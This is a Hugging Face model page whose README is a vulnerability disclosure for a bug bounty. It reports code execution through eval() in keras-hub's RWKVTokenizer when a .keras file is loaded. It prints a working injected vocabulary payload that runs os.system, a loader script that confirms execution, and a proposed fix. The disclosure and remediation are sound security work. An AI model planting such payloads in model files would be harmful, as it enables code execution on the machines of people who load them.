Downloads · 30 days
5
9% of all-time downloads
Christauff/rwkv7-keras-rce-poc
rwkv7-keras-rce-poc is a machine learning model from Christauff. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for keras. The card lists the license as other.
This is a proof-of-concept for a security vulnerability submission. Target bounty program: Huntr Model File Vulnerability
Downloads · 30 days
5
9% of all-time downloads
All-time downloads
55
Public
Repo size
—
Likes
0
Public
Click a slice to open those files.
.md4.5 KB · 52%
From the Hugging Face model README
This is a proof-of-concept for a security vulnerability submission. Target bounty program: Huntr Model File Vulnerability
Title: Arbitrary Code Execution via eval() in keras_hub.tokenizers.RWKVTokenizer deserialized from .keras model file under safe_mode=True
Affected: keras-hub v0.27.1 (commit e8094ef, 2026-04-08)
File: keras_hub/src/models/rwkv7/rwkv7_tokenizer.py:117,275
Severity: High (CVSS 8.8)
RWKVTokenizer.set_vocabulary() calls eval() on each vocabulary entry:
# Line 275 — keras_hub/src/models/rwkv7/rwkv7_tokenizer.py
repr_str = eval(line[line.index(" ") : line.rindex(" ")])
The vocabulary field is part of get_config() output and therefore embedded in .keras config.json files. When a malicious .keras file is loaded via keras.models.load_model() or keras.src.saving.serialization_lib.deserialize_keras_object(), the attacker-controlled vocabulary triggers eval() under default safe_mode=True.
.keras file with malicious vocabulary entrieskeras.models.load_model("malicious.keras")RWKVTokenizer is deserialized via keras_hub>RWKVTokenizer registered nameeval() executes attacker-controlled Python expressionrwkv7_poc_FINAL.keras in this repository is the proof-of-concept.
0 (__import__('os').system('id > /tmp/keras_rce_poc.txt'), b'\x00')[-1] 1
This payload:
os.system('id > /tmp/keras_rce_poc.txt') — runs the id commandb'\x00' (valid bytes) so all asserts passpip install keras keras-hub sentencepiece tokenizers
python3 - <<'EOF'
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
from keras.src.saving import serialization_lib
import keras_hub # registers keras_hub classes
import zipfile, json
# Download poc file from this repo and load it
with zipfile.ZipFile("rwkv7_poc_FINAL.keras") as z:
config = json.loads(z.read("config.json"))
obj = serialization_lib.deserialize_keras_object(config)
print("Loaded:", type(obj).__name__) # RWKVTokenizer
# Verify RCE occurred
if os.path.exists("/tmp/keras_rce_poc.txt"):
print("RCE CONFIRMED:", open("/tmp/keras_rce_poc.txt").read().strip())
EOF
Loaded: RWKVTokenizer
RCE CONFIRMED: uid=1002(pai) gid=1006(pai) groups=1006(pai),...
.keras file.keras file distributed via HuggingFace Model Hubkeras + keras-hub who loads a model containing RWKVTokenizerkeras.utils.get_file reachable via .keras deserialization. Fix: added to LOADING_APIS blocklist. Same mechanism, different gadget.TorchModuleWrapper torch.load() via .keras deserialization. Fix: added safe_mode check to from_config.keras_hub.layers.TFSMLayer tf.saved_model.load() via .keras deserialization. Fix: safe_mode check in from_config.This finding follows the same pattern as all three CVEs. RWKVTokenizer was added in commit e8094ef (2026-04-08) without the hardening applied to the above classes.
Replace eval() with ast.literal_eval() at rwkv7_tokenizer.py:117,275, and add a from_config override with safe_mode check to RWKVTokenizer:
@classmethod
def from_config(cls, config, **kwargs):
from keras.src.saving import serialization_lib
if serialization_lib.in_safe_mode() is not False:
raise ValueError(
"Requested deserialization of RWKVTokenizer, which calls eval() "
"on vocabulary entries. This is disallowed by default. Pass "
"safe_mode=False to the loading function if you trust the source."
)
return cls(**config)